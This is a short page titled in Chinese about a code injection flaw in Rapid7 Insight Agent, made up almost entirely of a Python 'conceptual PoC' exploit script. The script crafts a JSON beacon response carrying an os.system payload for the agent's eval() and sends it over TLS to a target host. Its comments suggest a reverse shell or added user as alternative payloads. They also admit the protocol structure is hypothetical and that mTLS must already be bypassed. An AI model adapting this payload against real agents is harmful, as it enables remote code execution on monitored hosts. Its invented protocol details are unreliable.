CVE-2026-4837 Rapid7 Insight Agent代码注入漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-4837 Note: This requires bypassing mTLS, which is highly restricted. This script demonstrates how a malicious payload might be crafted if one has control over the server response. """ import socket import ssl # Target configuration TARGET_HOST = 'victim-agent.local' TARGET_PORT = 443 # Assuming standard HTTPS/Agent port # Malicious payload to be executed by eval() on the agent # Example: Creating a reverse shell or adding a user PAYLOAD = "__import__('os').system('touch /tmp/pwned')" # Construct the malicious beacon response # The actual protocol structure is proprietary, this represents a hypothetical injection point malicious_response = f'{{"command": "update", "data": "{PAYLOAD}"}}' def send_exploit(): context = ssl.create_default_context() # In a real scenario, the attacker needs the valid client certs to satisfy mTLS # or needs to be in a MitM position with compromised keys. # context.load_cert_chain(certfile="attacker.crt", keyfile="attacker.key") try: with socket.create_connection((TARGET_HOST, TARGET_PORT)) as sock: with context.wrap_socket(sock, server_hostname=TARGET_HOST) as ssock: print(f"[+] Connected to {TARGET_HOST}") # Send the malicious payload ssock.sendall(malicious_response.encode('utf-8')) print("[+] Payload sent. If eval() is vulnerable, code execution occurred.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[!] Warning: This PoC assumes mTLS has been bypassed or keys are compromised.") send_exploit()